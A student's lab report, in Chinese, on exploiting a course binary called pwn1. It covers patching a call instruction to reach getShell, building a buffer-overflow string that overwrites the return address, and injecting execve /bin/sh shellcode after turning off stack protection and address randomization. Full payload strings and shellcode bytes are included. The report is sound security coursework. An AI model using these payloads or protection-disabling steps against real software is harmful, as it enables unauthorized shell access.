1.实验内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。注入一个自己制作的shellcode并运行这段shellcode。
2.实验过程
2.1.直接修改程序机器指令,改变程序执行流程
(1)配置kail虚拟机并将账户更改为自己的学号
(2)通过虚拟机登录学习通网站下载文件
(3)输入指令objdump -d pwn1 | more找到<getshell>、<foo>、<main>函数
由图可得,在main函数的第四行,"call 8048491"指令对应的机器码是"e8 d7ffffff"。其中e8表示调用,d7ffffff是目标地址相对于下条指令地址(80484ba)的偏移量(-41的补码表示)。要改为调用getShell函数(地址804847d),只需将偏移量改为804847d-80484ba=-61(补码表示为c3ffffff)。因此,只需将原机器码中的d7ffffff修改为c3ffffff即可。
(4)输入指令cp pwn1 pwn2复制一个文件并输入vi pwn2进入到文件中。
(5)输入%!xxd切换显示模式为16进制,接着输入/e8 d7找到要修改的内容,将d7改为c3,最后输入objdump -d pwn2| more查看修改结果并进行测试
(6)反汇编查看一下call指令是否正确运用于shell
2.2.构造输入字符串覆盖返回地址,改变程序执行流
(1)反编译查看pwn1中的汇编代码
在main函数调用foo时,foo函数仅分配了28字节(0x1c)的缓冲区空间,同时压入返回地址80484ba。由于缓冲区大小有限,我们可以通过精心构造的输入数据溢出该缓冲区,覆盖栈上的返回地址。具体来说,我们需要填充28字节的任意数据(如NOP指令或垃圾数据),然后紧接着写入getShell函数的地址804847d(小端序表示为\x7d\x84\x04\x08)。这样,当foo函数执行ret指令时,程序会跳转到getShell而非原定的返回地址80484ba,从而实现我们的攻击目标。
(2)安装并调用gdb pwn1调试程序,并输入1111111122222222333333334444444455555555
(3)接着输入r后输入1111111122222222333333334444444412345678,最后输入info r确认输入字符串哪几个字符会覆盖到返回地址。
如图所示确定了应该如何设置攻击字符串,即将第33至第36个字符设置为804847d按字节的倒序。
(4)通过perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input先生成包括这样字符串的一个文件,然后输入xxd input查看input文件的内容是否如预期,最后通过(cat input; cat) | ./pwn1将input的输入,通过管道符“|”,作为pwn1的输入。
2.3.注入Shellcode并执行
(1)通过虚拟机下载execstack接着输入以下字符操作:
execstack -s pwn1设置堆栈可执行
execstack -q pwn1查询文件的堆栈是否可执行
echo "0" /proc/sys/kernel/randomize_va_space关闭地址随机化
more /proc/sys/kernel/randomize_va_space验证地址随机化是否关闭
(2)输入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 创建一个 input_shellcode 文件,接着输入 (cat input_shellcode;cat) | ./pwn1 将input_shellcode作为pwn1的输入
(3)输入 ps -ef | grep pwn1 查看进程,进而得知我们的进程号为45918
(4)启用gdb调试程序,输入disassemble foo反编译foo函数并进行分析,然后输入break *0x080484ae设置断点,最后在另一个终端输入命令c并在另一个终端按一下回车
由图可知ESP值为0xffffcf5c,所以我们要再加4,即可得到shellcode应该处于的地址
(6)使用\xf0\xcf\xff\xff替换原占位符 \x01\x02\x03\x04,构造要注入的字符串:perl-e'print"A"x32;print "\xf0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode,最后输入(cat input_shellcode; cat) | ./pwn1,执行ls命令
3.问题及解决方案
问题1:pwn1下载
解决方案:最开始想用共享文件夹,但是发现不知道为啥传不过去,后来想到虚拟机也可以登陆网站,所以尝试复制学习通的网页在虚拟机中打开,最后之家下载在虚拟机的桌面问题2:execstack下载
解决方案:经过了上述的教训,我也选择直接在虚拟机中下载,但是在安装到终端的时候总是失败,后来发现是不需要进入root模式
4.学习感悟、思考等
通过本次实验,我系统掌握了BOF漏洞的原理与利用方法,特别是对ShellCode注入有了更深入的理解。实验初期因返回地址定位错误导致注入失败,经过逐步调试分析,最终成功完成攻击,这一过程让我深刻体会到攻防技术对严谨性的极高要求——无论是机器指令的偏移量计算、返回地址的字节序处理,还是堆栈布局的精确分析,任何一个细节的疏忽都会导致失败。 在实践层面,我不仅熟悉了gdb调试、二进制文件编辑和payload构造等工具的使用,还锻炼了通过灵活变通(如使用patchelf替代execstack)解决实际问题的能力。三个实验任务——直接修改机器指令、构造BOF攻击参数、注入Shellcode——让我对x86指令和攻击流程有了直观认识,也意识到在真实环境中(如开启地址随机化、堆栈不可执行等防护措施下)攻击的复杂性。这次实践将“缓冲区溢出”“shellcode”等理论概念转化为具体操作,让我认识到程序员必须从多角度加强程序安全性,才能有效抵御此类可能造成严重损失的攻击。